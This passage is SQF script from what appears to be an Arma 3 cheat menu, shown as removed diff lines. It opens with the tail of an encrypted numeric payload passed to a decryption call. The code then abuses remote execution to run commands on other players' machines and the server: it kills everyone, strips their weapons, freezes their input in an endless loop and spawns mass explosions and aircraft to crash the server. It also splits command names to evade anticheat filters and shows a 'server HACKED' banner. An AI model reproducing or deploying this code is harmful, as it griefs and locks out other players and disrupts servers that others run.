5280, 1504, 4752, 2852, 4590, 8091, 4972, 3731, 5880, 2992, 2688, 3283, 3608, 1216, 1715, 2332, 1344, 3552, 10695, 9579, 1560, 470, 891, 558, 810, 783, 1017, 1804, 3840, 6188, 4032, 3082, 4346, 1672, 1120, 2544, 1932, 3626, 10695, 4532, 3840, 2303, 4356, 1984, 4410, 3828, 3616, 1394, 4080, 2992, 2688, 2278, 2788, 1672, 1120, 5830, 4914, 7918, 11615, 11536, 13320, 5405, 9207, 3658, 1170, 870, 1017, 3895, 13800, 7412, 9324, 7169, 8282, 1216, 4025, 5353, 4872, 5032, 13110, 11433, 13440, 3431, 10890, 7192, 9090, 9918, 13334, 3977, 12960, 2176, 4032, 3082, 3936, 1862, 1750, 3127, 546, 740, 1035, 9785, 8040, 5217, 10890, 6262, 2880, 10005, 11413, 4756, 8160, 7752, 9324, 7504, 5986, 4180, 4060, 5353, 4788, 8732, 11155, 11124, 3840, 2256, 4554, 2976, 4500, 5133, 1469, 410, 1080, 6460, 7308, 6499, 9676, 3838, 1120, 6095, 4242, 8584, 7820, 11742, 13320, 5264, 7227, 6820, 10440, 8787, 12882, 4838, 11640, 7344, 2688, 3216, 3772, 1824, 1715, 3127, 546, 740, 1495, 1030, 1080, 5405, 10692, 6262, 9090, 9744, 3616, 2009, 6360, 4012, 1092, 670, 738, 3800, 3535, 5724, 4242, 8584, 11615, 8858, 12120, 4888, 10395, 6138, 9720, 8787, 3616, 3895, 10440, 6596, 9912, 6767, 4838, 494, 350, 477, 4200, 7474, 12420, 10403, 13920, 4747, 8514, 6262, 9360, 9135, 11187, 4428, 12120, 2176, 7980, 6633, 9102, 4180, 3535, 3127, 546, 740, 1035, 10300, 12120, 5076, 9999, 7192, 9090, 7482, 11413, 4264, 12600, 6732, 9072, 6767, 2624, 3610, 4025, 5777, 4662, 7918, 11615, 6077, 1560, 470, 891, 6200, 9090, 9396, 11413, 4756, 12120, 8024, 8484, 6968, 8610, 3762, 3780, 5353, 1344, 8140, 13455, 11021, 12120, 5264, 10989, 7130, 5310, 1131, 1130, 369, 10920, 6324, 2688, 7705, 9184, 3686, 4165, 5830, 1344, 9102, 1495, 1030, 1080, 423, 10395, 6324, 3600, 9483, 11300, 4264, 11400, 7480, 9828, 7169, 8282, 3610, 3990, 5353, 4578, 8214, 13570, 10403, 11880, 5217, 11286, 7068, 9090, 8613, 13108, 4305, 13320, 7480, 2688, 4154, 2624, 1824, 1435, 1696, 4872, 7696, 11615, 11330, 3840, 5781, 1287, 620, 810, 783, 1017, 4715, 12960, 6868, 8484, 7504, 2624, 1900, 1855, 3127, 546, 740, 1035, 927, 1080, 1598, 9801, 6882, 9720, 9657, 12882, 2747, 13320, 7752, 9576, 6767, 8118, 4408, 3675, 5883, 4620, 8510, 3910, 3296, 13440, 5264, 6831, 6324, 9180, 8787, 11187, 4756, 7800, 6800, 8904, 7839, 9430, 4408, 1120, 4823, 2058, 3256, 3680, 5047, 5280, 1504, 4752, 2728, 2880, 7917, 5537, 1804, 3840, 3332, 3696, 2144, 4018, 1672, 1120, 2544, 1932, 3552, 10695, 4532, 3840, 4277, 4851, 2728, 2880, 4263, 4972, 1312, 5880, 2992, 2688, 3283, 7626, 1672, 1120, 1696, 3822, 3626, 5060, 3296, 5880, 2068, 3168, 3038, 3960, 2784, 5424, 1886, 5760, 6324, 7812, 3953, 1066, 380, 315, 477, 378, 2516, 11385, 11433, 12960, 5217, 11286, 4154, 9990, 9918, 12882, 4141, 11880, 7888, 8820, 7437, 9020, 4370, 1190, 1696, 4704, 8288, 7935, 10506, 12240, 4747, 9801, 7192, 6030, 9657, 12317, 4469, 12600, 7888, 2688, 3216, 4838, 494, 350, 477, 378, 666, 3910, 10506, 12600, 5076, 10791, 4402, 10260, 8439, 11865, 4510, 4080, 2176, 9408, 7504, 5658, 3876, 3570, 5353, 4158, 8584, 7935, 11330, 11640, 4606, 10692, 6262, 2880, 8874, 10961, 4428, 13800, 6868, 4956, 871, 820, 342, 315, 477, 1428, 7548, 12075, 11124, 13080, 3337, 11286, 6014, 9450, 9570, 3842, 1312, 13440, 7616, 5796, 6834, 8364, 3838, 3465, 6148, 2814, 8214, 12535, 11227, 12600, 5452, 3168, 2976, 5310, 1131, 1130, 369, 1080, 8500, 4956, 871, 820, 342, 4375, 3127, 546, 740, 1035, 10815, 12240, 1880, 10791, 6200, 9360, 8265, 12430, 4797, 12840, 6868, 7980, 7638, 8282, 4142, 3885, 6254, 4242, 7178, 13225, 10712, 3840, 2914, 3168, 2976, 3690, 2784, 13108, 4264, 12120, 7480, 2688, 8241, 1066, 380, 315, 477, 4830, 7992, 11615, 10403, 13440, 1504, 4950, 3286, 5310, 1131, 1130, 369, 1080, 6800, 8484, 7236, 8282, 4408, 3535, 6254, 4242, 7696, 12075, 10197, 12960, 4747, 3168, 6758, 9000, 9048, 10735, 3977, 13800, 7072, 4956, 871, 820, 342, 4375, 3127, 546, 740, 14375, 6077] call _Decrypt);
- };
- [_clients,"bis_fnc_Spawn",true,false] call mp_runFunc;
- hintSilent parseText "<t size=""1.2"">Loading Nuke Functions...</t><br/><t size=""0.9"">The Map Will Open Once The Map Functions are Loaded!</t>";
- onMapSingleClick "[_pos,""DO_NUKE"",true,false] spawn mp_runFunc;openMap [false,false];onMapSingleClick"""";";
- };
- GEF_Nyan = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- if(GEF_NyanCat_Toggle) then {
- hint "THE NYANS HAVE ARRIVED!";
- _sCode = " _fnc_scriptName = if (isnil ""_fnc_scriptName"") then {""Functions Init""} else {_fnc_scriptName};while {GEF_NyanCat_Toggle} do {";
- _sCode = _sCode + "LY_Flare = ""SmokeShell"" create" + "Vehicle position vehicle player;LY_Flare attachTo [vehicle player,[0,0,0]];";
- _sCode = _sCode + "LY_Flare1 = ""Smokeshellpurple"" create" + "Vehicle position vehicle player;LY_Flare1 attachTo [vehicle player,[0.1,0,0]];";
- _sCode = _sCode + "LY_Flare2 = ""Smokeshellgreen"" create" + "Vehicle position vehicle player;LY_Flare2 attachTo [vehicle player,[0.2,0,0]];";
- _sCode = _sCode + "LY_Flare3 = ""Smokeshellpurple"" create" + "Vehicle position vehicle player;LY_Flare3 attachTo [vehicle player,[0.3,0,0]];";
- _sCode = _sCode + "LY_Flare4 = ""Smokeshellgreen"" create" + "Vehicle position vehicle player;LY_Flare4 attachTo [vehicle player,[0.4,0,0]];";
- _sCode = _sCode + "LY_Flare5 = ""Smokeshellgreen"" create" + "Vehicle position vehicle player;LY_Flare5 attachTo [vehicle player,[0.5,0,0]];";
- _sCode = _sCode + "LY_Flare6 = ""Smokeshellgreen"" create" + "Vehicle position vehicle player;LY_Flare6 attachTo [vehicle player,[0.6,0,0]];";
- _sCode = _sCode + "LY_Flare7 = ""SmokeShellRed"" create" + "Vehicle position vehicle player;LY_Flare7 attachTo [vehicle player,[0.7,0,0]];";
- _sCode = _sCode + "LY_Flare8 = ""SmokeShellRed"" create" + "Vehicle position vehicle player;LY_Flare8 attachTo [vehicle player,[0.8,0,0]];";
- _sCode = _sCode + "sleep 28;};";
- [] spawn compile _sCode;
- } else {
- sleep 0.5;
- deleteVehicle LY_Flare;
- deleteVehicle LY_Flare1;
- deleteVehicle LY_Flare2;
- deleteVehicle LY_Flare3;
- deleteVehicle LY_Flare4;
- deleteVehicle LY_Flare5;
- deleteVehicle LY_Flare6;
- deleteVehicle LY_Flare7;
- deleteVehicle LY_Flare8;
- hint "The Nyans Have left you!";
- };
- };
- GEF_BBullets = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- if (GEF_BBulletGEF_Toggle) then
- {
- vehicle player removeAllEventHandlers "Fired";
- cutText [" \nBig Fuckin Bullets Loaded..","PLAIN"];
- vehicle player addeventhandler ["Fired",{call BigFuckinBulletGEF_Peter_cus} ];
- BigFuckinBulletGEF_Peter_cus =
- {
- if (isNull cursorTarget) then
- {
- TargetPlayer_peter_cus = screenToWorld [0.5,0.5];
- }
- else
- {
- TargetPlayer_peter_cus = getpos cursorTarget;
- };
- call compile (" _fnc_scriptName = if (isnil ""_fnc_scriptName"") then {""Functions Init""} else {_fnc_scriptName};_spwnboom_cus = ""Helicopter" + "ExploBig"" createVe" + "hiclelocal TargetPlayer_peter_cus");
- };
- }
- else
- {
- cutText [" \nBack to Normal Bullets..","PLAIN"];
- vehicle player removeAllEventHandlers "Fired";
- };
- };
- GEF_TimeDay = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- [{ _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};setDate [2012, 9, 1, 9, 0];},true] call GEF_Rmote;
- hint "Day Time!";
- };
- GEF_TimeNight = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- [{ _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};setDate [2012, 9, 1, 21, 0];},true] call GEF_Rmote;
- hint "Night Time!";
- };
- GEF_Rocket = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- svr_rocket = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _pos = _this;
- _code = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- server_createRocket = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _pos = _this;
- _X = _pos select 0;
- _Y = _pos select 1;
- _tH = getTerrainHeightASL [_X,_Y];
- _nH = 0;
- _unit = createAgent ["O_Soldier_F", [_X,_Y,_nH+5], [], 0, "NONE"];
- hideObjectGlobal _unit;
- _ship1 = createVehicle ["Land_Lighthouse_F", [_X,_Y,_nH+5],[],0,"CAN_COLLIDE"];
- _ship1 allowDamage false;
- _ship1 attachTo [_unit,[0,3.25,10]];
- _unit allowDamage false;
- _unit setPosASL [_X,_Y,_tH];
- [_unit,_X,_Y] spawn {
- sleep 2;
- runcode = { _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName}; {hint "We Have liftoff!";} spawn bis_fnc_Spawn; };
- publicVariable "runcode";
- skip = 0;
- _X = _this select 1;
- _Y = _this select 2;
- while{true} do {
- (_this select 0) setVelocity [0,0,15];
- if(skip % 3 == 0) then {
- _Z = (getposasl (_this select 0)) select 2;
- (_this select 0) setPosASL [_X,_Y,_Z];
- };
- };
- };
- [_X,_Y,_tH] spawn {
- _X = _this select 0;
- _Y = _this select 1;
- _tH = _this select 2;
- for "_i" from 0 to 1000 do {
- _nH = 0.3*_i + _tH;
- _object = createMine ["APERSMine",[_X,_Y,_nH],[],0];
- _object setPosASL [_X,_Y,_nH];
- _object setvectorup [0,0,1];
- };
- };
- };
- };
- _client = { _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};"runcode" addPublicVariableEventhandler {[] spawn (_this select 1);};};
- [_client,true] call GEF_Rmote;
- [_code,false] call GEF_Rmote;
- sleep 2;
- _code = (' _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};' + (str _pos) + " spawn server_createRocket;");
- [_code,false] call GEF_Rmote;
- };
- openMap [true,false];
- onMapSingleClick "_pos spawn svr_rocket;openMap [false, false];onMapSingleClick """";false";
- };
- GEF_Kamakazi_50 = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- kamakazi_lystic = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _code = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- call compile ('
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- kamakazi_server = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _number = _this select 0;
- _pos = _this select 1;
- _entity = "I_Plane_Fighter_03_AA_F";
- _obj = _entity create' + 'Vehicle _pos;
- _pos = _obj model' + 'ToWorld [0,0,400];
- for "_i" from 0 to _number do{
- _pos set[0, (_pos select 0)+ (random (50)-25)];
- _pos set[1, (_pos select 1)+ (random (50)-25)];
- _obj = _entity creat' + 'eVehicle [0,0,0];
- _obj setPo' + 's _pos;
- _obj setV' + 'elocity [random(150)-75,random(150)-75,0];
- sleep 0.25;
- };
- };
- ');
- };
- [_code,false] call GEF_Rmote;
- _code = (' _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};' + str [50,_this] + " spawn kamakazi_server;");
- [_code,false] call GEF_Rmote;
- hint 'Kamakazi!';
- };
- openMap [true,false];
- onMapSingleClick "_pos spawn kamakazi_lystic;openMap [false, false];onMapSingleClick '';false";
- };
- GEF_Kamakazi_100 = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- kamakazi_lystic = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _code = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- call compile (' _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- kamakazi_server = { _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _number = _this select 0;
- _pos = _this select 1;
- _entity = "I_Plane_Fighter_03_AA_F";
- _obj = _entity create' + 'Vehicle _pos;
- _pos = _obj model' + 'ToWorld [0,0,400];
- for "_i" from 0 to _number do{
- _pos set[0, (_pos select 0)+ (random (50)-25)];
- _pos set[1, (_pos select 1)+ (random (50)-25)];
- _obj = _entity creat' + 'eVehicle [0,0,0];
- _obj setPo' + 's _pos;
- _obj setV' + 'elocity [random(150)-75,random(150)-75,0];
- sleep 0.25;
- };
- };
- ');
- };
- [_code,false] call GEF_Rmote;
- _code = (' _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};' + str [100,_this] + " spawn kamakazi_server;");
- [_code,false] call GEF_Rmote;
- hint 'Kamakazi!';
- };
- openMap [true,false];
- onMapSingleClick "_pos spawn kamakazi_lystic;openMap [false, false];onMapSingleClick '';false";
- };
- GEF_Kamakazi_500 = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- kamakazi_lystic = { _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _code = { _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- call compile (' _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- kamakazi_server = { _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _number = _this select 0;
- _pos = _this select 1;
- _entity = "I_Plane_Fighter_03_AA_F";
- _obj = _entity create' + 'Vehicle _pos;
- _pos = _obj model' + 'ToWorld [0,0,400];
- for "_i" from 0 to _number do{
- _pos set[0, (_pos select 0)+ (random (50)-25)];
- _pos set[1, (_pos select 1)+ (random (50)-25)];
- _obj = _entity creat' + 'eVehicle [0,0,0];
- _obj setPo' + 's _pos;
- _obj setV' + 'elocity [random(150)-75,random(150)-75,0];
- sleep 0.25;
- };
- };
- ');
- };
- [_code,false] call GEF_Rmote;
- _code = (' _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};' + str [500,_this] + " spawn kamakazi_server;");
- [_code,false] call GEF_Rmote;
- hint 'Kamakazi!';
- };
- openMap [true,false];
- onMapSingleClick "_pos spawn kamakazi_lystic;openMap [false, false];onMapSingleClick '';false";
- };
- GEF_NewsBanner = {
- [{ _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};call compile ("LY_fnc_NEWS = bis_f" + "nc_AAN");},true] call GEF_Rmote;
- waituntil{!isNil "LY_fnc_NEWS"};
- [{ _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- [parseText "
- <t size='2.1' color='#CA278C'>Your server has just been HACKED!</t><br/>
- <t color='#CA278C'>Announcement!</t>",parseText "
- <t size='1.5' color='#FE2E2E'>Thank your scrub admins! </t>
- <t size='1.5' color='#FACC2E'>If only they had a reliable anticheat </t>
- <t size='1.5' color='#80FF00'>But all they care about is your money! </t>
- <t size='1.5' color='#00FF00'>Maybe You Should find a better community! </t>
- <t size='1.5' color='#2EFE9A'>My Menu! </t>
- <t size='1.5' color='#00FFFF'>My Menu! </t>
- <t size='1.5' color='#0174DF'>My Menu! </t>
- <t size='1.5' color='#013ADF'>Is </t>
- <t size='1.5' color='#3A01DF'>The </t>
- <t size='1.5' color='#A901DB'>Best </t>
- <t size='1.5' color='#DF0174'>Arma 3 </t>
- <t size='1.5' color='#00FFFF'>Menu! </t>"] spawn LY_fnc_NEWS;
- },true]call GEF_Rmote;
- };
- GEF_Desync = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _Code = format[" _fnc_scriptName = if (isnil ""_fnc_scriptName"") then {""Functions Init""} else {_fnc_scriptName};
- if(isServer) then {
- _pos = [1894,2520,100];
- _col = 179;
- _row = 182;
- _first_notactually = _pos select 0;
- _second_notactually = _pos select 1;
- _third_notactually = _pos select 2;
- _doesnt_do_anything = _pos select 0;
- _setsecond_wat = _pos select 1;
- _why_iGEF_thiGEF_here_evn_lol = _pos select 2;
- _pos2_peter = [_first_notactually, _second_notactually, _third_notactually];
- for '_i' from 1 to _col do {
- _second_notactually = _setsecond_wat;
- _pos2_peter = [_first_notactually, _second_notactually, _third_notactually];
- for '_j' from 1 to _row do {
- _pos2_peter = [_first_notactually, _second_notactually, _third_notactually];
- _object = create" + "Vehicle ['B_Heli_Light_01_F', _pos2_peter, [], 0, 'CAN_COLLIDE'];
- _second_notactually = _second_notactually + 5;
- };
- _first_notactually = _first_notactually + 5;
- };
- }"];
- [COMPILE _code,false] call GEF_Rmote;
- _code = format[" _fnc_scriptName = if (isnil ""_fnc_scriptName"") then {""Functions Init""} else {_fnc_scriptName};
- if(name player != '%1') then {
- while {true} do {
- disableUserInput true;
- };
- } else {
- ['TaskSucceeded',['','Desync In Progress!']] call bis_fnc_showNotification;
- };
- ",name player];
- [COMPILE _code,true] call GEF_Rmote;
- };
- GEF_ODST = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _xx = 0;
- _y = 0;
- while {_y < 5650} do{
- _y = (random 5700);
- };
- while {_xx < 1700} do{
- _xx = (random 1780);
- };
- _pos = getPos Player;
- _pos = [_pos select 0, _pos select 1, -100];
- _aim_peter = (vehicle player);
- if (true) then
- {
- _aim_peter setPosASL _pos;
- };
- _pos = [_xx, _y, 2000];
- if (true) then
- {
- _aim_peter setPosASL _pos;
- };
- {
- _xx = random 50;
- _y = random 50;
- if(name _x != name player) then {
- _x attachTo [player,[_xx,_y,0]];
- };
- }forEach playableUnits;
- sleep 2;
- {
- if(name _x != name player) then {
- detach _x;
- };
- }forEach playableUnits;
- };
- GEF_KillAll = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- [{ _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};player setDamage 1;},true] call GEF_Rmote;
- };
- GEF_RemoveWeaponsAll = {
- [{ _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};removeAllWeapons player;},true] call GEF_Rmote;
- };
- GEF_TPAll = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- {
- _x setPosatl (getposatl player);
- } forEach playableUnits;
- };
- GEF_CleanUp = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- {
- if (count(crew _x) == 0) then
- {
- deleteVehicle vehicle _x;
- deleteVehicle _x;
- };
- } forEach vehicles;
- {
- deleteVehicle vehicle _x;
- deleteVehicle _x;
- } forEach allDEAD;
- hint format ["Deleted empty Vehicles"];
- };
- GEF_HeliBoat = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- if(isNil "LY_HeliBoatINited") then {
- _code = { _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- LY_SpawnHeliBoat = { _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _obj = _this;
- _name = name _obj;
- _pos = _obj modelToWorld [0,10,0];
- _pos2D = [_pos select 0,_pos select 1];
- _Z = getTerrainHeightASL _pos2D;
- _pos set[2,_Z+2];
- _Tank = "C_Boat_Civil_04_F" createVehicle [0,0,100];
- _Heli = "B_Heli_Light_01_F" createVehicle [0,0,150];
- _Tank setMass 0;
- _Tank attachTo [_Heli,[0,0,0]];
- _Heli setPosASL _pos;
- LY_HELI = _Heli;
- publicVariable "LY_HELI";
- runcode = compile format[" _fnc_scriptName = if (isnil ""_fnc_scriptName"") then {""Functions Init""} else {_fnc_scriptName};
- waitUntil{!isNil 'LY_HELI'};
- if(name player == '%1') then {
- player moveInDriver LY_HELI;
- };
- LY_HELI hideObject true;
- LY_HELI = nil;
- ",_name];
- publicvariable "runcode";
- };
- };
- _client = { "runcode" addPublicVariableEventhandler {[] spawn (_this select 1);};};
- [_client,true] call GEF_Rmote;
- [_code,false] call GEF_Rmote;
- LY_HeliBoatInited = true;
- };
- hint "Spawning HeliTank!";
- _code = (" _fnc_scriptName = if (isnil ""_fnc_scriptName"") then {""Functions Init""} else {_fnc_scriptName};_player = objnull; {if(name _x == '"+(name player)+"') then {_player = _x;};} forEach playableUnits; _player spawn LY_SpawnHeliBoat;");
- [_code,false] call GEF_Rmote;
- };
- GEF_HeliTank = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- if(isnil "LY_HeliTankInited") then {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _code = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- LY_SpawnHeliTank = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _obj = _this;
- _name = name _obj;
- _pos = _obj modelToWorld [0,10,0];
- _pos2D = [_pos select 0,_pos select 1];
- _Z = getTerrainHeightASL _pos2D;
- _pos set[2,_Z+2];
- _Tank = "B_MBT_01_cannon_F" createVehicle [0,0,100];
- _Heli = "B_Heli_Light_01_F" createVehicle [0,0,150];
- _Tank setMass 0;
- _Tank attachTo [_Heli,[0,0,0]];
- _Heli setPosASL _pos;
- LY_HELI = _Heli;
- publicVariable "LY_HELI";
- runcode = compile format[" _fnc_scriptName = if (isnil ""_fnc_scriptName"") then {""Functions Init""} else {_fnc_scriptName};
- waitUntil{!isNil 'LY_HELI'};
- if(name player == '%1') then {
- player moveInDriver LY_HELI;
- };
- LY_HELI hideObject true;
- LY_HELI = nil;
- ",_name];
- publicvariable "runcode";
- };
- };
- _client = { _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName}; "runcode" addPublicVariableEventhandler {[] spawn (_this select 1);};};
- [_client,true] call GEF_Rmote;
- [_code,false] call GEF_Rmote;
- };
- hint "Spawning HeliTank!";
- _code = ("_player = objnull; {if(name _x == '"+(name player)+"') then {_player = _x;};} forEach playableUnits; _player spawn LY_SpawnHeliTank;");
- [_code,false] call GEF_Rmote;
- };
- GEF_Robot = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- closeDialog 0;
- _pos = getPos Player;
- _dir = getdir vehicle player;
- _pos = [(_pos select 0)+8*sin(_dir),(_pos select 1)+8*cos(_dir),(_pos select 2)+5];
- _pos2 = [_pos select 0,(_pos select 1)+ 30, (_pos select 2)];
- _pos3 = [_pos select 0,(_pos select 1)+ 60, (_pos select 2)];
- _pos4 = [_pos select 0,(_pos select 1)+ 90, (_pos select 2)];
- _pos5 = [_pos select 0,(_pos select 1)+ 120,(_pos select 2)];
- _pos6 = [_pos select 0,(_pos select 1)+ 150, (_pos select 2)];
- _pos7 = [_pos select 0,(_pos select 1)+ 180, (_pos select 2)];
- _pos8 = [_pos select 0,(_pos select 1)+ 210, (_pos select 2)];
- _pos9 = [_pos select 0,(_pos select 1)+ 240, (_pos select 2)];
- _myBike = createVehicle ['C_Quadbike_01_F', _pos, [], 0, 'CAN_COLLIDE'];
- _myBike setDir _dir;
- player action ['getindriver',_myBike];
- _body_front= createVehicle ['Land_TentHangar_V1_F', _pos3, [], 0, 'CAN_COLLIDE'];
- _body_back= createVehicle ['Land_TentHangar_V1_F', _pos4, [], 0, 'CAN_COLLIDE'];
- _body_side_l= createVehicle ['Land_TentHangar_V1_F', _pos5, [], 0, 'CAN_COLLIDE'];
- _body_side_r= createVehicle ['Land_TentHangar_V1_F', _pos6, [], 0, 'CAN_COLLIDE'];
- _head= createVehicle ['Land_Radar_F', _pos7, [], 0, 'CAN_COLLIDE'];
- _sandbag = createVehicle ['C_Quadbike_01_F',_pos2,[],0,'CAN_COLLIDE'];
- _p_r = createVehicle ['C_Quadbike_01_F',_pos8,[],0,'CAN_COLLIDE'];
- _p_l = createVehicle ['C_Quadbike_01_F',_pos9,[],0,'CAN_COLLIDE'];
- _leg_l = createVehicle ['Land_Lighthouse_F',_pos3,[],0,'CAN_COLLIDE'];
- _leg_r = createVehicle ['Land_Lighthouse_F',_pos3,[],0,'CAN_COLLIDE'];
- _body_front attachTo [_sandbag,[12,0,0]];
- [_body_front,-90,90] call bis_fnc_setPitchBank;
- _body_back attachTo [_sandbag,[-12,0,0]];
- [_body_back,-90,-90] call bis_fnc_setPitchBank;
- _body_side_l attachTo [_sandbag,[0,12,0]];
- [_body_side_l,-90,0] call bis_fnc_setPitchBank;
- _body_side_r attachTo [_sandbag,[0,-12,0]];
- [_body_side_r,-90,180] call bis_fnc_setPitchBank;
- _body_bottom = createVehicle ['Land_TentHangar_V1_F', _pos4, [], 0, 'CAN_COLLIDE'];
- _body_bottom attachTo [_sandbag,[0,0,-10]];
- [_body_bottom,0,180] call bis_fnc_setPitchBank;
- _body_bottom2 = createVehicle ['Land_TentHangar_V1_F', _pos4, [], 0, 'CAN_COLLIDE'];
- _body_bottom2 setDir (getDir _body_bottom)+90;
- _body_bottom2 attachTo [_sandbag,[0,0,-10]];
- _body_bottom2 setDir (getDir _body_bottom)+90;
- [_body_bottom2,0,180] call bis_fnc_setPitchBank;
- _head attachTo [_sandbag,[0,0,15]];
- _sandbag attachTo [_myBike,[0,0,40]];
- _p_l attachTo [_sandbag,[15,-5,5]];
- _p_r attachTo [_sandbag,[-15,-5,5]];
- _leg_l attachTo [ _p_l,[0,0,-10]];
- _leg_r attachTo [ _p_r,[0,0,-10]];
- _leg_l2 = createVehicle ['Land_Lighthouse_F',_pos3,[],0,'CAN_COLLIDE'];
- _leg_r2 = createVehicle ['Land_Lighthouse_F',_pos3,[],0,'CAN_COLLIDE'];
- _leg_l2 attachTo [ _leg_l,[0,0,-10]];
- _leg_r2 attachTo [ _leg_r,[0,0,-10]];
- [_sandbag,_p_l,_myBike] spawn {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _sandbag = _this select 0;
- _p_l = _this select 1;
- _myBike = _this select 2;
- while{true} do {
- _speed = _myBike call bis_Fnc_absSpeed;
- if(floor(_speed) != 0) then {
- for "_i" from 1 to 10 do {
- detach _p_l;
- _p_l attachTo [_sandbag,[15,-5+_i,5]];
- sleep 0.001;
- };
- for "_i" from 1 to 10 do {
- detach _p_l;
- _p_l attachTo [_sandbag,[15,5,5+(_i*-1)]];
- sleep 0.001;
- };
- for "_i" from 1 to 10 do {
- detach _p_l;
- _p_l attachTo [_sandbag,[15,5+(_i*-1),-5]];
- sleep 0.001;
- };
- for "_i" from 1 to 10 do {
- detach _p_l;
- _p_l attachTo [_sandbag,[15,-5,-5+_i]];
- sleep 0.001;
- };
- };
- };
- };
- [_sandbag,_p_r,_myBike] spawn {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _sandbag = _this select 0;
- _p_r = _this select 1;
- _myBike = _this select 2;
- while{true} do {
- _speed = _myBike call bis_Fnc_absSpeed;
- if(floor(_speed) != 0) then {
- for "_i" from 1 to 20 do {
- sleep 0.001;
- };
- while{true} do {
- _speed = _myBike call bis_Fnc_absSpeed;
- if(floor(_speed) == 0) exitWith {};
- for "_i" from 1 to 10 do {
- detach _p_r;
- _p_r attachTo [_sandbag,[-15,-5+_i,5]];
- sleep 0.001;
- };
- for "_i" from 1 to 10 do {
- detach _p_r;
- _p_r attachTo [_sandbag,[-15,5,5+(_i*-1)]];
- sleep 0.001;
- };
- for "_i" from 1 to 10 do {
- detach _p_r;
- _p_r attachTo [_sandbag,[-15,5+(_i*-1),-5]];
- sleep 0.001;
- };
- for "_i" from 1 to 10 do {
- detach _p_r;
- _p_r attachTo [_sandbag,[-15,-5,-5+_i]];
- sleep 0.001;
- };
- };
- };
- };
- };
- };
